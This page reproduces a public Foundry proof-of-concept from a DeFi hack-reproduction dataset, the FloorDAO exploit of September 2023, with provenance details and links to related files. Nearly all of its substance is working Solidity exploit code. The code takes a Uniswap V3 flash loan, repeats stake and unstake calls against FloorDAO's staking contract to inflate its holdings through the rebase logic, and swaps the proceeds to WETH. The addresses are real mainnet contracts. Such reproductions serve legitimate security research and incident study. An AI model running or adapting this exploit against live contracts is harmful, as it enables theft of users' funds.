Public reproduction file
src/test/2023-09/FloorDAO_exp.sol
Public reproduction file for dataset entry FloorDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo -- Total Lost : ~40 eth8// Attacker : https://etherscan.io/address/0x4453aed57c23a50d887a42ad0cd14ff1b819c7509// Attack Contract : https://etherscan.io/address/0x6ce5a85cff4c70591da82de5eb91c3fa38b4059510// Attacker Transaction : https://explorer.phalcon.xyz/tx/eth/0x1274b32d4dfacd2703ad032e8bd669a83f012dde9d27ed92e4e7da0387adafe412// @Analysis13// https://twitter.com/PeckShieldAlert/status/169896210505836139214// https://medium.com/floordao/floor-post-mortem-incident-summary-september-5-2023-e054a2d5afa416interface IFloorStaking {17 function unstake(address _to, uint256 _amount, bool _trigger, bool _rebasing) external;18 function stake(address _to, uint256 _amount, bool _rebasing, bool _claim) external returns (uint256);19}21interface IsFloor is IERC20 {22 function circulatingSupply() external returns (uint256);23}25contract FloorStakingExploit is Test {26 IERC20 floor = IERC20(0xf59257E961883636290411c11ec5Ae622d19455e);27 IsFloor sFloor = IsFloor(0x164AFe96912099543BC2c48bb9358a095Db8e784);28 IERC20 gFloor = IERC20(0xb1Cc59Fc717b8D4783D41F952725177298B5619d);29 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);30 uint256 flashAmount;31 IFloorStaking staking = IFloorStaking(0x759c6De5bcA9ADE8A1a2719a31553c4B7DE02539);32 Uni_Pair_V3 floorUniPool = Uni_Pair_V3(0xB386c1d831eED803F5e8F274A59C91c4C22EEAc0);34 function setUp() public {35 vm.createSelectFork("mainnet", 18_068_772);37 vm.label(address(floor), "floor");38 vm.label(address(sFloor), "sFloor");39 vm.label(address(gFloor), "gFloor");40 vm.label(address(WETH), "WETH");41 vm.label(address(staking), "FloorStaking");42 vm.label(address(floorUniPool), "Pool");43 }45 function testExploit() public {46 flashAmount = floor.balanceOf(address(floorUniPool)) - 1;47 floorUniPool.flash(address(this), 0, flashAmount, "");49 uint256 profitAmount = floor.balanceOf(address(this));50 emit log_named_decimal_uint("floor token balance after exploit", profitAmount, floor.decimals());51 floorUniPool.swap(52 address(this), false, int256(profitAmount), uint160(0xfFfd8963EFd1fC6A506488495d951d5263988d25), ""53 );54 emit log_named_decimal_uint("weth balance after swap", WETH.balanceOf(address(this)), WETH.decimals());55 }57 function uniswapV3FlashCallback(uint256, /*fee0*/ uint256 fee1, bytes calldata) external {58 uint256 i = 0;59 while (i < 17) {60 uint256 balanceAttacker = floor.balanceOf(address(this));61 uint256 balanceStaking = floor.balanceOf(address(staking));62 uint256 circulatingSupply = sFloor.circulatingSupply();63 if (balanceAttacker + balanceStaking > circulatingSupply) {64 floor.approve(address(staking), balanceAttacker);65 staking.stake(address(this), balanceAttacker, false, true);66 uint256 gFloorBalance = gFloor.balanceOf(address(this));67 staking.unstake(address(this), gFloorBalance, true, false);68 i += 1;69 }70 }72 floor.transfer(msg.sender, flashAmount + fee1);73 }75 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {76 int256 amount = amount1Delta;77 if (amount <= 0) {78 amount = 0 - amount;79 }80 floor.transfer(msg.sender, uint256(amount));81 }82}Analysis
Dataset entry
Public Foundry test for “FloorDAO” (2023-09-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-09/0x0DEX_exp.solSame month in the dataset · 269 lines
- src/test/2023-09/APIG_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/BFCToken_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/CEXISWAP_exp.solSame month in the dataset · 77 lines
- src/test/2023-09/DAppSocial_exp.solSame month in the dataset · 109 lines
- src/test/2023-09/DEXRouter_exp.solSame month in the dataset · 55 lines
- src/test/2023-09/FireBirdPair_exp.solSame month in the dataset · 141 lines
- src/test/2023-09/HCT_exp.solSame month in the dataset · 105 lines
- src/test/2023-09/HeavensGate_exp.solSame month in the dataset · 97 lines
- src/test/2023-09/JumpFarm_exp.solSame month in the dataset · 83 lines
- src/test/2023-09/Kub_Split_exp.solSame month in the dataset · 226 lines
- src/test/2023-09/QuantumWN_exp.solSame month in the dataset · 73 lines
- src/test/2023-09/uniclyNFT_exp.solSame month in the dataset · 126 lines
- src/test/2023-09/XSDWETHpool_exp.solSame month in the dataset · 123 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4453aed57c23a50d887a42ad0cd14ff1b819c750
- Attack Contract
0x6ce5a85cff4c70591da82de5eb91c3fa38b40595
- Attacker
0x1274b32d4dfacd2703ad032e8bd669a83f012dde
File record
- Name
- FloorDAO
- Path
- src/test/2023-09/FloorDAO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d2d9b44c9366e6ccaff13b963dfde24a609a738a
- Language
- Solidity
- Size
- 83 lines
- Date
- 2023-09-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-09/FloorDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d2d9b44c9366e6ccaff13b963dfde24a609a738a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.